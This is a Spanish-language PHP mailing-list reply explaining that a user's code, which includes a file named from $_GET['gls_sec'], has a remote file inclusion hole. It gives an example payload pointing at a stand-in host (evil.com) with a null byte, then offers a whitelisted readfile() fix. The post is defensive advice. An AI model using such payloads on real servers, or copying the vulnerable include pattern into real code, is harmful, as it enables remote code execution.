1/2 OT Mod_Rewrite Apache

Cristian Rodriguez judas.iscariote en gmail.com
Vie Feb 9 14:44:24 CLST 2007


El 9/02/07, Daniel Carrero Canales <dcarrero en vallenar.cl> escribió:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Cristian Rodriguez escribió:
> >>         $gls_sec =$_GET['gls_sec'];
> >>         if($gls_sec!=""){
> >>                 include($gls_sec.".php");
> >
> > las tres primeras lienase de tu codigo tienen un atroz agujero de
> > seguridad.
> >
> > si $_GET['gls_sec'] es por ejemplo
> >
> > $_GET['gls_sec'] = "http://www.evil.com/evil.txt%00" (notese el NULL
> > byte al final)
> > PHP descarta el ".php" (y el resto de la sentencia) incluyendo el
> > archivo remoto http://www.evil.com/evil.txt y intepretandolo como
> > codigo PHP. en fin the OwNean :-P
> >
>
> Como debería ser entonces, algo asi? Como mejoraría la seguridad?
> if (isset($_GET['gls_sec'])) {
ya,,,

>   $num_p = (get_magic_quotes_gpc()) ? $_GET['gls_sec'] :
> addslashes($_GET['gls_sec']);

otro agujero de seguridad mas, magic_qoutes es una horrible solucion ,
es tan mala, que ya no existe, se elimino de PHP.

para resoler tu problema  primero piensa


1. realmente quieres INCLUIR dicha informacion ? no sera que solo la
quieres leer (por ejemplo si es html) en ese caso include() NO se usa,
se utiliza readfile()

pordrias hace algo asi :

//aqui estan listadas tus paginas.
$mispaginas = array('contacto', 'quienes_somos','index');

$pagina = isset($_GET['gls_sec']) ? $_GET['gls_sec'] : '';

if($pagina) {

    if(in_array($pagina, $mispaginas) &&
preg_match('/^[a-z0-9_]+$/iD', $pagina)) {

           readfile(dirname(__FILE__) . DIRECTORY_SEPARATOR . $pagina
. '.html');
    }
}

2. Si realmente deberias estar ahciendo esto, existen cientos de CMS
que hacen el mismo trabajo por ti y probablemente mucho mejor, trata
de no reinventar la rueda.



Más información sobre la lista de distribución PHP